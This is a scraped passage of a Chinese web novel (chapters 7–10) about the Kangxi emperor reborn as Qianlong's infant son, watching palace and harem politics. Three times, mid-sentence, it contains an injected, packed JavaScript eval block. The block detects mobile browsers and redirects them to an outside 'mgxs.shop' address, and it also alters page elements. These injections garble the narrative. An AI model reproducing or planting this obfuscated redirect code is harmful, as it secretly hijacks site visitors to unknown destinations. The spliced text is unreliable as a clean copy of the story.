《皇后娘娘养娃实录(清穿)》 7. 第七章 宝琳把玩够了就让芙蓉等人清点了一番,然后装起来放到库房了。 “等我们永琏长大了,都给我们永琏娶媳妇用。” 宝琳抱起玄烨亲了一口,开玩笑地说道。 玄烨现在也习惯了宝琳时不时的亲亲,偶尔还会回蹭两下,仗着自己如今是个婴儿,开始脸皮厚的无法无天,把圣祖仁皇帝的威名全扔到一边去了。 母子俩正玩着,福海进来通报说弘历来了。 话音刚落,弘历便掀了帘子进来,如今已经是初冬,外头也有些冷,因着有了永琏的缘故,今年宝琳这早早地就生上了暖炉。 弘历一进屋就被暖洋洋又伴着馨香的暖气扑了一脸,他随手摘下头上的鹿皮帽子交给芙蓉,走到暖炉边烤了烤手。 宝琳抱着玄烨福了福身,弘历赶忙扶起来。 “王爷这是刚从富察妹妹那过来?” 宝琳把玄烨交给鸢尾,又捧了盏茶给弘历。 弘历喝了口,又抓过宝琳的手,脸上表情有些凝重。 “刚和几位皇叔一块去看了看永璜。”弘历说道:“没想到几日不见永璜就病成了这样,倒是本王这个做阿玛的疏忽了。” 永璜到底也才六个多月,小小一个孩子烧成这样,弘历作为阿玛也是心疼不已。 宝琳柔声说道:“王爷平日事务繁忙,为朝政奔波为皇阿玛分忧,自己的身子有时候都顾不得,更不必说旁的了。” 例行安抚过弘历之后她才继续说道:“妾身瞧着,不如请专精小儿之症的太医来给永璜瞧瞧,永璜毕竟还小,若是真的烧出个好歹来可就麻烦了。” 玄烨在一旁瞧着,心道弘历这小子看着还真是和额娘情谊不错,夫妻和睦。 不过转念又一想,额娘生地漂亮,性子温柔,还贤惠大方,这么好的媳妇让弘历娶着了,他就偷着乐去吧! 要是还敢对额娘不好…… 那就等着看他怎么收拾这个好孙子吧。 弘历烤着火突然冷不丁地觉得有一股冷意从背后蔓延开来,他莫名其妙地回头看了看,心想可能是刚刚吹了风有点闪着了,完全不知道是自家宝贝儿子在阴恻恻地盯着他。 “应当如此。”弘历回过神来连连点头,扭过头去说道:“李玉,拿着本王的牌子进宫请太医来给大阿哥问诊。” “嗻。” 李玉退了出去去宫中请太医,宝琳才松了口气。 弘历微微一笑握紧了宝琳的手,眼神柔和:“本王听说你特意去马齐大人那求了皇爷爷赏的人参,拿去给了永璜?” 这宝琳不用想都知道定然是富察氏告诉弘历的。 富察氏一向知恩图报,永璜病了这些日子,宝琳确实帮衬了她不少,今儿弘历去了她虽挂心着儿子,也没忘记给福晋说上几句好话。 宝琳笑着说:“这都是小事,伯父听闻是给大阿哥用也是慷慨割爱,如今自然是以大阿哥的身子为重。” 弘历知道宝琳这话不是逢场作戏的假话,他们成婚虽然还不到两年,可弘历对自己这个嫡福晋是一千一万个满意,把家中打理地井井有条,也从不拈酸吃醋,对后院诸人也都一视同仁,永璜出生之后虽是个横在前头的庶长子,可也是真心疼爱。 简直就是一个标准地不能再标准的嫡福晋了。 弘历有时还会想皇阿玛的眼光果然刁钻,这都能让他找出来赐给他做嫡福晋。 不过在宝琳的视角里,这婚事是皇帝指的,她也没法反抗,既然嫁过来了那就跟弘历搭伙过日子呗,加上她早就知道这人以后会是三宫六院的皇帝,和满院子的女人掐架又有什么意思,大家也都不容易,她能帮衬一点就都帮衬一点了。 不过如今宝亲王府里头,妾室虽然也不算少,但是都是格格,两个侧福晋的位置都还空着。 弘历对待女人一向是雨露均沾型,但是也有人的通病——偏爱长的漂亮的,所以除了样貌稍稍平庸些的珂里叶特氏和陈氏,其他的都还算宠爱。 尤其是高氏和金氏,是这些日子拔得头筹的。 而这个侧福晋的位置,宝琳更偏向于富察氏,毕竟是生了长子,性子又温柔亲和,她若是做了侧福晋也免得性子更张扬些的金氏等人欺负她。 所以她想了想,柔声说道:“王爷,富察妹妹生育长子有功,如今永璜又病着,咱们府里侧福晋一直空着,妾身想着不如提她为侧福晋,也好安慰一二。” 弘历对富察氏的印象显然也很不错,早些时候除去宝琳,她还是院子里最受宠的,只是提为侧福晋…… “富察氏是不错,为人恭谨也育有长子,只是……” 弘历沉吟了一会说道:“富察氏毕竟出身低了些,高氏的阿玛高斌如今治水有功,已经升为河东副总河,皇阿玛的意思是若他做的好便提拔他为江南河道总督,故而本王想向皇阿玛请旨,册封高氏为侧福晋。” 这事前一阵弘历就在琢磨,只是宝琳刚刚生产完所以他没提,结果今日宝琳主动提了侧福晋一事,所以他才说了出来。 高氏和宝琳一向也比较亲近,提她做侧福晋宝琳自然也没有不同意的。 侧福晋的位置原有两个,即使高氏占去了一个也还有一个,可弘历还是不想给富察氏,宝琳自然也明白他的意思,是觉得如今后院里的女人除了父亲升迁的高氏,还没有能担得起侧福晋之位的。 不得不说哪怕平日里弘历看着儿女情长,四处留情的,可真到了这种时候他还是心肠冷硬的帝王之心,从不受感情牵绊。 “王爷考虑的是,治水是国之大事,高大人为国为民辛劳,也应当嘉奖高妹妹。” 宝琳也只能顺着弘历说这些体面话,说罢,她又微微蹙眉:“只是,富察妹妹那边……” “富察氏生育有功,虽不能提为侧福晋,一应分例也按侧福晋的来,可好?”弘历笑着说道。 宝琳点了点头,笑道:“还是王爷考虑的周全。” 她这也算是尽力了。 弘历拍拍她的手,又陪着玄烨玩了一会,突然想起了什么说道:“宫里头皇额娘病情见好,额娘也得了空闲,过些时日你便带着永琏去宫里头看看。” 如今的皇后乌拉那拉氏自从入秋就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16533860|186455||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 生了场重病,熹贵妃前往景仁宫侍疾,两人都早就听说永琏生地像康熙爷,一直也想见见这个小孙子,只是怕过了病气给孩子,所以一直都没见着。 宝琳点了点头应了声是。 玄烨如今却对进宫有些疲惫了。 想想自己过几日还得去见这两个儿媳妇,就更头大了。 而且不知道德妃在不在宫里,想来如今她也是太后了。 玄烨这么想着脸上的表情就不禁严肃了起来,哈哈大笑道:“永琏如今不过才两个多月,这小模样也不知道每天在愁些什么。” 玄烨:“……” 谁发愁了,朕会发愁见儿媳妇?可笑! 宝琳也含笑点头:“永琏懂事,是早慧些。” 弘历看着永琏不由得又嘱咐道:“我知晓你也惦记着永璜,只是永璜病好之前你还是少去些,别沾了病气给永琏。” “……” 虽说这话从道理上讲也没什么毛病,只是宝琳听了还是有些不舒服。 永璜如今还病的这么重,他这个当爹的说这话,若是让孩子知道了指不定多难过。 就连玄烨都觉得这孙子有些没心没肺了,狠狠踹了他一脚。 弘历见宝琳脸上的笑意淡去,抿了抿唇淡淡地应了一声,立刻就慌了。 “宝琳,本王不是不关心永璜,只是永琏毕竟也还小,幼时五弟也是起了高热……” 弘历说到这突然顿了下,声音也高了些说道:“对啊,本王怎么把这事给忘了。” 宝琳有些摸不着头脑,不知道他这又是怎么了。 弘历神采奕奕地和她说道,幼时如今的五阿哥弘昼起了高热,宫里的太医都束手无策,还是那时做贝勒的十三爷胤祥费了极大的心力,星夜兼程去寻了位大夫回来,那大夫妙手回春才让弘昼捡回了一条命。 “宝琳恐怕有所不知,那时几位叔伯斗地正酣,十三叔和皇阿玛虽兄弟情深,但是为了掩人耳目也只能暗中往来,那日十三叔送了大夫来把五弟治好后,皇阿玛还曾言日后不必让五弟称呼叔叔,直接称呼十三叔为阿玛即可。” 弘历回忆着从前的事,也为他十三叔和皇阿玛这感天动地的兄弟情而折服。 “本王这就去十三叔那一趟,问问这大夫可还在,若是还在世,本王便去请他来为永璜诊治。” 说罢,弘历就匆匆出门去了。 宝琳自然是知道四爷和十三爷之间这惺惺相惜的感情,却是头一次听到这星夜救子的故事,不过这样一来永璜的病也有了盼头,她也觉得高兴。 而一边的玄烨眉头紧锁。 老四儿子生病这回事,他是有印象的。 那时胤礽还是太子,老十三是他从小手把手培养起来的太子臂膀,没成想那时候竟然就和老四勾搭在一起了,怪不得如今老十三那么得重用! 这两人还在他面前装不熟! 胤禛那时候是把孤臣的路子一条道走到黑,虽说他也确实是刚正不阿,没有结党,起码比老八是收敛了不知多少。 只是他竟然被这两混小子给骗了! 8. 第八章 弘历一离开,宝琳便发现玄烨又开始板着一张脸。 玄烨被她养地极好,白嫩健壮,脸颊也肥嘟嘟的,所以像现在这样板着脸的时候不见什么威重,却全都是萌态。 玄烨大窘,心道他一定得快快长大,这样肥嘟嘟软绵绵的身子真是受够了! 宝琳心里被他萌地一塌糊涂,又抱着他玩了一会儿,看玄烨有点昏昏欲睡了才把他送到偏殿去。 鸢尾在一边侍弄着炭火,低声说道:“福晋,您今日何苦为富察格格请封呢,富察格格有着大阿哥,若是再成了侧福晋,那日后待到王爷继位,岂不是得封个贵妃或是皇贵妃了。” 芙蓉几个在宝琳跟前向来都是有什么说什么的,出嫁之前马齐大人还特意叮嘱过她们,福晋性子软,让她们这些贴身的人多看顾些。 如今富察格格有着长子,王爷对她也还算是宠爱,若是日后一跃成了贵妃,皇贵妃之流,怎么想对福晋和二阿哥都是心腹大患。 宝琳坐在玄烨的床边,低垂着眉眼轻轻拍着哄玄烨入睡,如今天擦黑,殿里已经点上了烛火,宝琳侧脸温柔慈眉善目的模样让鸢尾想起画上的菩萨来了。 福晋哪里都好,就是心太软,仁慈的很,以后入了宫恐怕腥风血雨就更多了,先帝爷九子夺嫡的事这才过去多久,想想鸢尾都觉得有些发愁。 “侧福晋的位置空悬着,总会有人补上来。”宝琳看着儿子的睡颜,轻声说道:“富察格格为人谨慎又恭敬,她不会有这样的心思。” 所以倒还不如由她来扶持富察氏上位。 只是可惜弘历属意的是阿玛屡屡建功的高氏。 宝琳虽然是穿越而来的,但是对这段历史却是一知半解,尤其是乾隆后宫的妃嫔们,她除了对富察皇后的生平了解一二之后,就是知道后期会有一个令妃出现宠冠六宫,生了下一任皇帝嘉庆。 她不太清楚如今后院的这些女人们将来会如何,也只能走一步看一步。 只是宝琳虽然不愿意和她们为难,但也不是泥捏的,任人拿捏,起码她也要护住自己的儿女。 这次举荐富察氏也有她的考量和私心在。 弘历对永璜的父爱也不知道怎么回事一夜之间又重燃了,连夜跑去了怡亲王府邸寻得了那位名医的踪迹后,就马不停蹄地让人去请了回来,这位大夫还真是医术高明,几贴药下去永璜的烧就退了,没几日就又能笑能闹了。 弘历松了口气,宝琳也松了一口气。 看着这么小的一个孩子遭罪也是让人难受地紧。 永璜病好了之后没多久,弘历请封高氏为侧福晋的圣旨也下来了。 侧福晋和格格侍妾相比可以算是质的飞跃了,名字可以上皇家玉牒,算是爱新觉罗家正经的儿媳了。 高氏不必说自是喜不自胜,当初雍正给弘历指婚的时候刻意没有指侧福晋,宝亲王府里只有福晋一个正经主子,如今她虽然是由格格抬为侧福晋,但也是福晋之下的第一人了。 加之她与金氏本就是如今除了宝琳,弘历最宠爱的两个,故而这几日高氏一直是春风得意,十分豪气地给各院都送了些礼,早上来请安的时候还特意给宝琳带了几匹上好的料子来。 “妾身的阿玛如今正在江南治理河务,便给妾身送了些江南那时兴的料子来,妾身挑了几匹好的,特来送给福晋。” 高氏笑意盈盈,她生地俏皮,看着和个云英未嫁的小姑娘一样,平日里嘴又甜,宝琳也很是喜欢她。 “高大人操劳政事,也不忘牵挂着你,这父女之情真是令人艳羡。”宝琳笑着说道,芙蓉上前收下了那些料子。 高氏有些娇憨地说道:“可不是嘛,妾身家里还有两个哥哥,一个弟弟,阿玛平日里最疼我了,说他们都是混小子,比不上女儿贴心。” 坐在她旁边的陈格格见高氏眉飞色舞的模样赶忙轻轻扯了扯她的衣袖。 谁不知道福晋幼年丧父,说这些不是戳福晋的心窝子吗? 高氏被这一扯也反应了过来,连忙说道:“是妾身失言。” 宝琳根本就没把这个当回事,高氏自然不是有心的,而且这父女之情也是她先提的,她阿玛李荣保都已经去世多年了,她也没有那么霸道见不得别人父女情深。 只是她还没开口,金氏摇着团扇施施然地开口道:“侧福晋今儿说这话,可是听说了福晋原本是举荐了富察姐姐为侧福晋的事?” 宝琳蹙眉,看了一眼芙蓉与杜鹃。 两人也是吃了一惊,不知道这事是怎么传出去的,正院一向都是铁桶一般不会有什么消息走漏出去,那日福晋和王爷说话也只有她们几个在里面伺候着,金格格怎么会知道? 因着永璜如今大好也早起来请安,只是如同往常一样在边上做透明人的富察氏也是一惊,不知道怎么就突然说到了她的身上。 高氏则是当即拍了桌子,瞪着金氏说道:“你浑说什么呢,大庭广众之下议论福晋,还想挑拨我与福晋之间的情谊,真是大胆!” “侧福晋别吃心,妾身也是听王爷昨日酒醉后随口说的一句罢了,兴许也只是戏言。”金氏倒是半点不慌,直接把弘历卖了。 宝琳:“……” 原来是弘历这个嘴上没把门的! 高氏听完有些手足无措地看向宝琳,富察氏此时突然出声说道:“妾身卑微如何能担当侧福晋一位,不过是福晋看着永璜前些日子病了才心生怜悯,这都是妾身的过错。” 诸人都被金氏这石破天惊的消息给震住了,愣在原地也不知道该说些什么。 宝琳叹了口气,让人把富察氏扶起来。 “咱们府里侧福晋的位置一直空着,来日不是皇阿玛指婚便是诸位妹妹抬为侧福晋。”宝琳扫视了一眼下面神色各异的众人,说道:“高妹妹,我也不瞒你,原先我是想着将富察妹妹的位份抬一抬,富察妹妹育有大阿哥,前段日子大阿哥又病着她也是劳心劳力,我便想着抚慰她一二。” “只是高妹妹的阿玛治水是功在社稷,王爷和我也是踌躇再三,还是定了高妹妹为侧福晋。” 宝琳喝了口茶继续说道:“大家都是姐妹,位份也都是一时的,哪位妹妹日后若是有了子嗣,或是家中父兄有建树,我自然也会举荐。” 这些事宝琳也没想瞒,即便是金氏今日说破,她也没觉得有什么。 若不是她与高氏平日里私交还不错,她都懒地说这么多。 她作为嫡福晋自然有举荐侧福晋的权力,至于举荐谁都不是能被她们质问的。 不过宝琳这一坦诚解释,倒更显得金 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16533861|186455||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 氏居心不良了。 高氏想了想,坦率地说道:“福晋不必与这种人说这么多,福晋的为人妾身们都是知道的,富察姐姐有着大阿哥又资历深厚自然也可担当侧福晋一位。” 自从高氏入府之后,因着她性子还是像个活泼的孩子,所以宝琳算是对她特别关照的,高氏也是死心塌地一直追随着宝琳,今儿乍一听闻这事她难免心里有些难过,不过转念一想福晋做的也没错,富察姐姐前些日子辛苦,她也是看在眼里的,福晋这也是公正处事。 高氏这一附和,金氏就更尴尬了。 金氏今日这显然的挑拨,宝琳也不是一点脾气都没有。 “金格格近日来心浮气躁,回去抄录几卷清静经静静心吧。” 请安散了之后,宝琳又把富察氏和高氏单独留了留。 这两个人都是没什么坏心的,平日里关系也不错,宝琳也怕这两人上了金氏的当,再生了嫌隙就不好了。 “福晋不必担心,金氏是个什么人我还能不知道吗?” 高氏亲近地挽着宝琳的手臂,亲昵地说道:“富察姐姐为人好,资历深,又有子嗣,若不是我沾了阿玛的光,那这侧福晋之位必然是富察姐姐的。” 高氏这说的也是心里话。 富察氏瞬间窘迫起来,她是不在乎什么侧福晋的,如今她心心念念的也只有永璜。 宝琳拍了拍高氏的手,笑着说:“你明白就好,我心里自然也是疼你的。” “妾身当然明白,福晋放心就好。”高氏笑地俏皮。 送走了高氏和富察氏,宝琳也觉得有些心累。 没想到竟然是弘历说给金氏听的,真是…… 玄烨在一边眨巴着眼睛听了半天,才听明白是怎么回事。 他悄悄地翻了个白眼,心道弘历这小子真是成事不足败事有余,怎么能把额娘置于如此尴尬的境界。 好在弘历也很快知道了这事,晚上就讪讪地来了宝琳这,好生讨好了一番。 前些日子他宿在金氏那,几杯酒下肚又看着美人娇媚,一时间就晃了神,金氏撒娇卖痴开始吃醋高氏封侧福晋的事,拿着富察格格出来打擂台,看着是为富察氏抱怨,实际上是想给高氏添堵。 弘历那时心情还不错也乐得哄她两句,一个不留神就把宝琳举荐富察氏的事告诉她了。 今儿得知了金氏拿这事向福晋发难,弘历也是极为恼火,他被金氏套了话本就不满,如今她还闹出这种事来简直是不知所谓。 弘历难得低三下四地解释,宝琳哪敢真的跟他生气,也只能装作嗔怪地说了他几句,便把这事囫囵过去了。 不过弘历还是说宝琳对金氏罚地太轻了,金氏挑拨生事还冒犯了福晋,弘历直接雷厉风行地禁足了她两个月,罚了半年的俸银。 宝琳心道前些日子你那么宠爱金氏,她哪敢罚重了,这个恶人还是让弘历自己来当吧。 结果没成想第二日弘历的处罚还没下去的时候,高氏又和金氏撞上拌了两句嘴,两人言谈之间还动起手来,高氏推了金氏一把,不成想金氏已经有了一个月的身孕,这一推金氏便不幸小产了。 宝亲王府里这一下是人仰马翻,只是宝琳还全然不知。 她正好带着玄烨入宫去见皇后和熹贵妃了。 9. 第九章 皇后乌拉那拉氏是雍正的发妻,两人是少年夫妻,十一岁时乌拉那拉氏就嫁给了当时还是皇四子的胤禛,如今也已经携手风风雨雨地走过了快满四十年,只是雍正与皇后之间感情算不上多么亲厚,还是相敬如宾的时候多一些。 皇后这病也是从去年生辰一直断断续续养到现在,也养了大半年了,如今刚刚有点好转。 熹贵妃和皇后自在潜邸时就亲厚,入了宫之后也一样,两人都是不怎么得雍正宠爱的,便时常一块说说话,养养孩子,到了这个岁数也是老姐妹了。 今儿知道弘历和宝琳要带着永琏过来,皇后一早就起来妆扮,给宝琳和永琏都准备了不少东西,熹贵妃也早早过来了,一看皇后忙着便赶忙扶着她坐下歇息。 “皇后娘娘,您大病初愈快歇着吧。”熹贵妃笑着说道:“弘历和福晋都是小辈,该让他们来孝敬您才是。” 提起弘历和宝琳,皇后也是打心眼里高兴,弘历是她看着长大的,宝琳也是她和雍正仔仔细细挑出来的儿媳妇,自然也是一万个满意,如今又添了个嫡子,当真是和和美美。 只不过难免也让她想起自己夭折的儿子弘晖来。 熹贵妃陪伴皇后多年,自然明白皇后突然低落是为了什么,连忙宽慰了她几句,两人又唠着些闲话,等着弘历夫妻过来。 “如今皇上来后宫的时候是越来越少了,就差住在养心殿和十三爷睡在一处了。”熹贵妃调侃道。 皇后身旁的宫女拿着个玉质的小锤,轻轻给她捶着肩膀。 皇后眯了眯眼,说道:“从前在潜邸时齐妃是最得宠的,生了三子一女,何等的风光。” “入了宫敦肃皇贵妃也是专房之宠,也是生了三子一女,可惜都没保住,人也早早去了。” 熹贵妃也感慨地说道:“是啊,自从齐妃和贵妃去后,皇上便不怎么进后宫了。” 只是对于她和皇后而言,雍正进不进后宫也就那么回事了,毕竟已经在雍亲王府和宫里蹉跎了大半辈子了,也不指望什么恩宠。 而且还是她福气好,有了弘历,眼看就是什么都不用愁了。 正说到这便有宫女来通报,说弘历和宝琳带着二阿哥来请安了。 “快请进来!” 弘历和宝琳并肩进来,给两位额娘问了安。 “快起来吧,让本宫看看永琏。” 皇后看到他们就笑地合不拢嘴,熹贵妃这些日子给皇后侍疾,也有一阵没看到自己宝贝儿子了,也拉着弘历说话。 宝琳便亲自把玄烨抱到了皇后跟前。 皇后仔细打量了一番襁褓里这个睁着黑亮的眼睛,白白嫩嫩的小孙儿之后脸上也是浮现出激动之色。 “确实是像皇阿玛。”皇后握着宝琳的手,柔声说:“宝琳,你可真是个有福气的孩子。” 玄烨自然也是见过乌拉那拉氏的,毕竟这也是他亲自挑的儿媳妇,那时他挑了乌拉那拉氏给胤禛做嫡福晋,其中极为重要的一个原因便是他看着乌拉那拉氏面善,是个有福气的,想着必定能给胤禛延绵子嗣,只是没想到胤禛这臭小子和福晋的感情一直平平。 德妃又给胤禛的后院塞了一堆汉女,其中有一个他记得颇得胤禛宠爱,生了好几个孩子,胤禛还为她来请封侧福晋来着,只是时间有些远了,他记不大清了。 玄烨进宫之前便听宝琳说了,乌拉那拉氏病了大半年,如今见着人果真也是苍老憔悴了不少。 乌拉那拉氏对自己的公公康熙帝还是十分敬重的,现在见着小孙儿长地如此肖似,也是喜爱地和什么似的,抱着就不撒手了。 玄烨不自在地挣扎了两下,觉得有些尴尬 被自己儿媳妇抱着…… 算了,不能想了,他如今已经是永琏了! 熹贵妃对康熙倒是没多少情感在,她在潜邸时也只是个不受宠的格格,哪怕后来弘历得了康熙喜爱,她也没资格去觐见,所以对这个人人都宝贝地不得了的小孙子反而不怎么热衷,只是拉着弘历说话。 “额娘听说永璜前些日子病了,如今可大好了?” 弘历笑着说道:“额娘放心,福晋照顾地很周到,永璜如今已经大好了。” 熹贵妃看了一眼宝琳,点头说道:“富察氏是个好的,贤惠大方,只是如今你们成婚两年多了,膝下还是只有两个儿子,也太少了些。” “而且小孩子难将养,若是有个好歹如同永璜一般就不好了,额娘看你府里那几个肚子也都不是争气的,要不然额娘再给你挑几个好的?” 说罢,她看向宝琳,问道:“福晋,你说呢?” 她能说什么? 宝琳假笑:“一切听额娘安排就是。” 玄烨也眯着眼睛看了过去,这个钮祜禄氏…… 弘历皱了皱眉,有些不满熹贵妃还要给他塞侧室这事,他和宝琳刚刚成婚两年,府里的女人已经够多了,而且生孩子也不是一朝一夕的事,如今他已然有了两个儿子,于子嗣之事上也算顺遂了。 其实他心里也明白额娘对宝琳不知为何总是有些成见,明明宝琳已经事事都做地极为妥善,额娘还是若有若无地不待见她。 不过宝琳从不把这些放在心上,对额娘还是一向恭谨,做事也挑不出什么毛病来让额娘发难,而且额娘也终归不是什么恶心肠,所以这婆媳俩也就一直这么不冷不热地僵持着了。 好在皇后此时开口了。 “贵妃,弘历和宝琳如今也还算是新婚燕尔的,而且成婚一年就有了嫡子,弘历如今还年轻正是上进的时候,府里女人太多了反而不好。” 弘历立马笑着说道:“皇额娘说的是,如今儿臣就有些顾不过来了,多亏了福晋照看,若是额娘再赐几个,也是白白耽误了。” 皇后和弘历都这么说,熹贵妃也只好偃旗息鼓了。 玄烨竖着耳朵听乌拉那拉氏和钮祜禄氏说话,乌拉那拉氏倒是和从前一样大方宽和,对额娘也很是喜爱。 而钮祜禄氏,老实说从前他不怎么召见的原因也是觉得钮祜禄氏有些小家子气,如今年岁上来成了贵妃,眼看以后就是太后怎么还变本加厉了。 看她这模样,以后额娘入了宫在她这个太后手底下,恐怕多少得受点委屈。 不过弘历这小子今天表现地倒还不错,一直护着额娘。 玄烨眨巴着眼睛,已经开始寻思着到时候怎么打发钮祜禄氏了。 只是不知道胤禛那臭小子寿数还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16533862|186455||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有多少,若是弘历登基时他已经长成,那么收拾这些事就是绰绰有余了。 只是玄烨心里也为老四捏了把汗,看胤禛这宵衣旰食的模样,恐怕得把自己累死不可。 宝琳心中也明白,自己这个婆婆钮祜禄氏其实算不上什么恶人,只不过是她与皇上一向淡淡的感情不睦,所以一颗心都扑在了自己儿子身上,如今她和弘历夫妻感情甚笃,弘历成了婚也难免没有之前与额娘那么亲近了,所以她有些吃味罢了。 不过熹贵妃确实也没怎么太为难过她,不过是言语间有时会刺上两句,宝琳也全当没听见了,莫说婆媳了,就算是普通人有时也有不合眼缘的,这也是没办法的事,她能做的也只是守着规矩别出差错,熹贵妃自然也不能拿她怎么样。 弘历和宝琳难得进宫探望皇后和熹贵妃一趟,撇去刚刚纳新人的事气氛倒也还算是其乐融融,直到苏培盛匆匆过来。 “给皇后娘娘,熹贵妃娘娘请安。” 皇后抬了抬手,问道:“苏公公怎么来了,可是皇上有什么吩咐?” 苏培盛面带苦色说道:“皇上生了大气,十三爷在一旁都有些劝不住,听闻宝亲王进宫来了,怡亲王便让奴才来请王爷过去看看。” 皇后一听,连十三爷都劝不住,这得是生了多大的气,当即也不敢怠慢,赶忙让弘历过去。 弘历也是急忙赶了过去,玄烨被皇后抱着也是一头雾水,心想这到底是发生什么大事了,能把老四气成这样? 皇后看到玄烨的眼神紧跟着弘历,也不禁笑道:“还真是父子连心,日后永琏一定是个孝顺孩子。” 玄烨:“……” 话虽说地没错,但让他孝顺弘历这小子怎么那么别扭呢? “福晋,永璜那孩子如今到底如何了,本宫听说他前些日子病地极重。” 弘历一走,熹贵妃的神色也淡了许多,她捻了颗葡萄吃,沉声问道。 宝琳笑着说:“回额娘,王爷去请了名医来,如今已经大好了,您若是想念永璜,过些日子儿媳便带永璜进宫向您请安。” 熹贵妃对永璜这个长孙还是很疼爱的,于是不由得敲打宝琳一番。 “如今你也有了永琏,只是你是嫡福晋更要有容人之量,宝亲王府的孩子都唤你一声额娘,你也得担得起这声额娘,别诛灭了自己的良心。” 宝琳:“是,儿媳受教了。” 宝琳面色如常还是笑盈盈的,反倒是把熹贵妃噎了一下。 玄烨在一边看着,心道看来额娘是早就琢磨出法子来应对钮祜禄氏了。 钮祜禄氏这一拳打在棉花上,是怪难受的。 皇后在一旁无奈地说道:“贵妃,宝琳和弘历都是好孩子,宝琳入府两年多,宝亲王府井井有条,可见是她打理得当,儿孙自有儿孙福,咱们就少操些心吧。” 熹贵妃讪讪地回了声是。 宝琳这么些年下来,旁的不说,在旁边陪个笑脸,闲聊几句无关痛痒的话还是很有心得的,而且好在皇后娘娘是个明白事理的,也闹不出什么出格的事来。 皇后和宝琳聊了几句,她身旁的大宫女突然急匆匆进来,说道:“娘娘,淳亲王府有人来报,淳亲王今早薨了!” 10. 第十章 淳亲王因着身有残疾的缘故,身子一直算不上好,平日里也是日日都喝着汤药。 可是这骤然薨逝,就连宝琳都很是惊诧。 明明上个月淳亲王还来探望过永琏,那时候看着身子也还行,怎么就突然走了。 而玄烨更是如遭雷击。 胤祐…… 这是他回来后,第一个走在他前面的儿子。 前些日子这孩子还在他面前和老五抱头痛哭,思念他这个皇阿玛。 亲王薨逝是大事,皇后立刻着人去内务府安排一应事宜,皇后和熹贵妃也忙碌了起来,便先让宝琳带着永琏去偏殿歇息一会,等着弘历回来。 到了景仁宫的偏殿,宝琳便发觉玄烨整个人都蔫巴巴的,耷拉着眼睛没什么精神的样子。 宝琳以为他是困了,便轻轻拍着他哄他入睡。 一旁的杜鹃和鸢尾见偏殿里没什么人,才小声说道:“福晋每次进宫请安,贵妃娘娘却总是给福晋脸色看。” 福晋宽和待下,无论是对府里的妾室还是大阿哥都是尽心尽力,就连她们都替福晋觉得委屈。 宝琳笑了笑,说道:“额娘是长辈,如今又上了年纪,咱们就别计较了。” 弘历又不是个事事都听额娘话的乖宝宝,钮祜禄氏折腾也折腾不出什么花来,她大多时候都是懒地理。 只不过如今她更关心的是淳亲王的丧仪。 淳亲王是弘历的亲叔叔,她和弘历自然是要出席丧礼的,而且以弘历如今的地位,想来她也要帮着安排丧事,那永琏这她就不得空照顾了。 玄烨如今沉浸在儿子离世的悲痛中,虽然他与胤祐父子之间算不上多么亲近,只是如今竟也想起了不少胤祐儿时的事来,加上如今这具婴儿的身体实在也有些不好控制,他悲从中来,还流了几滴眼泪。 宝琳看到了吃了一惊,连忙翻看,还以为是玄烨不舒服,玄烨看着额娘关切的眼神,少有的主动伸手要抱,宝琳抱起他哄了会,还以为是外头乱糟糟的,把他吓着了。 就在这时门突然开了,李德全从外头进来,打了个千,给宝琳问安。 宝琳看他一眼,问道:“李公公怎么来了?” 李德全满脸堆笑:“皇上天恩,特准老奴来伺候二阿哥。” 李德全自从上次见了永琏一面就念念不忘,每日茶饭不思的,后来没法子直接去求了皇后,说想去宝亲王府伺候二阿哥。 李德全如今在宫里其实也就是荣养着,也不会真让他去做什么活,看着这前朝的大总管一把年纪了还忠心一片,哭地一把鼻涕一把泪的模样,皇后也是为之动容,只是这事她做不了主,只能帮着回禀给了雍正。 好在雍正那日心情好,大手一挥就同意了,于是今日弘历和宝琳进宫,就顺便让他们把李德全带回去了。 宝琳听到这是皇上的意思也没再说什么,对这事也是乐观其成,李德全做了这么些年的首领太监,在康熙爷身边一点差错都没有,定然是个妥帖细致人,这些日子她恐怕得去淳亲王府忙着,有他在永琏身边,她也能放心不少。 只有玄烨扭着脑袋看向自己这个用了几十年的老太监,心里颇为动容。 李德全对他的忠心确实是没得说的。 没一会,弘历就回来了,额头上都是汗,脸色看着也不好。 “李公公?”弘历皱了皱眉,看向宝琳,询问是怎么回事。 宝琳解释了一番,弘历的神色也缓和了些,既然是皇阿玛安排的,他自然也不能说什么。 宝琳抱着玄烨和弘历一块上了马车,她端详着弘历的神色,说道:“王爷,淳亲王今日一早薨逝了,咱们府里可要准备些什么?” 淳亲王的丧礼必然是要有一个王公出面主持的,只是不知道雍正会安排谁。 